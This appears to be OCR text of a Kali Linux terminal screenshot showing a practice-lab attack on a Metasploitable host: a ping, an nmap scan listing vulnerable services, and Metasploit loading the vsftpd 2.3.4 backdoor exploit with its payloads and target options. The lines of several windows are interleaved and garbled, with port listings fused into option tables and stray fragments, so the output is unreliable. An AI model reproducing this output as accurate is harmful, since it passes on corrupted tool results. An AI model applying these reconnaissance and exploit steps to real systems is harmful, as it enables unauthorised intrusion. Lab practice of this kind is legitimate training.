



kali@kali: ~

CPU usage: 6.1%



File Actions Edit View Help

64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.593 ms

64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=0.716 ms

View the full module info with the `info`, or `info -d` command.

— 192.168.1.149 ping statistics —

msf6 exploit(**unix/ftp/vsftpd_234_backdoor**) > show payloads

11 min/avg/max/ndev = 0.593/0.783/1.233/0.258 ms

Compatible Payloads

192.168.1.149

St # Name map 7.945VN 0 https:// Disclosure Date Rank Check Description

Nmap - report for 192.168.1.14

Host 0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection

Nmap: 977 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

msf6 exploit(**unix/ftp/vsftpd_234_backdoor**) > show options

22/tcp open ssh OpenSSH 4.7p1 Debian subun01 (protocol 2.0)

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

25/tcp open smtp Postfix smtpd

53 Name Current Setting Required Description

50 op op nc (url: DAV/2)

11 CHOST open rpcbind 2 no C #1000 The local client address

13 CPORT open netbios-ssn 5 no smbd The local client port (WORKGROUP)

44 Proxies open netbios-ssn 5 no smbd A proxy chain of format type:host:port[,type:host:port][...]

51 RHOSTS op 192.168.1.149 yes rsh The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

513 op open login? The target port (TCP)

51 RPORT op 21 shell yes rshd

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

Payload options (cmd/unix/interact): #100003)

3121/tcp open ftp ProFTPD 1.3.1

33 Name Current Setting Required Description

54 op op 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open x11 (access denied)

Exploit target: irc UnrealIRCd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

81 Id Name op http Apache Tomcat/Coyote JSP engine 1.1

Service Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix; Linux; CPE: cpe:/o:linux

x: 0 Automatic

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 66.06 seconds

View the full module info with the `info`, or `info -d` command.**msf6** exploit(**unix/ftp/vsftpd_234_backdoor**) >